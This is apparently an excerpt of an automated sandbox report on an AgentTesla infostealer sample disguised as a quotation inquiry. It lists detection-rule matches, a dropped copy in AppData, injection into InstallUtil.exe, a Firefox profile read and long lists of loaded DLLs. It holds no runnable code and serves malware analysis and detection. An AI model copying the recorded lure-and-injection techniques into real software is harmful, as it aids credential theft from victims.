Source: 10.2.Egmgti.exe.3ee0f08.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 10.2.Egmgti.exe.3ee0f08.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 0.2.inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe.42bfbd0.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe.42bfbd0.3.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 0.2.inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe.42bfbd0.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe.42bfbd0.3.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 0.2.inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe.41f41b0.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe.41f41b0.5.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 0.2.inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe.41a5990.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe.41a5990.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload

Source: 0.2.inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe.42bfbd0.3.raw.unpack, 4JJG6X.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe.42bfbd0.3.raw.unpack, 4JJG6X.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe.42bfbd0.3.raw.unpack, 8C78isHTVco.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe.42bfbd0.3.raw.unpack, 8C78isHTVco.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe.42bfbd0.3.raw.unpack, 8C78isHTVco.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe.42bfbd0.3.raw.unpack, 8C78isHTVco.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe.42bfbd0.3.raw.unpack, CqSP68Ir.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe.42bfbd0.3.raw.unpack, CqSP68Ir.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@9/2@2/2

Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe

File created: C:\Users\user\AppData\Roaming\Egmgti.exe

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Mutant created: NULL

Source: inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe

ReversingLabs: Detection: 36%

Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe

File read: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe "C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe"
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Egmgti.exe "C:\Users\user\AppData\Roaming\Egmgti.exe"
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Egmgti.exe "C:\Users\user\AppData\Roaming\Egmgti.exe"
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior

Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: ncrypt.dll	Jump to behavior
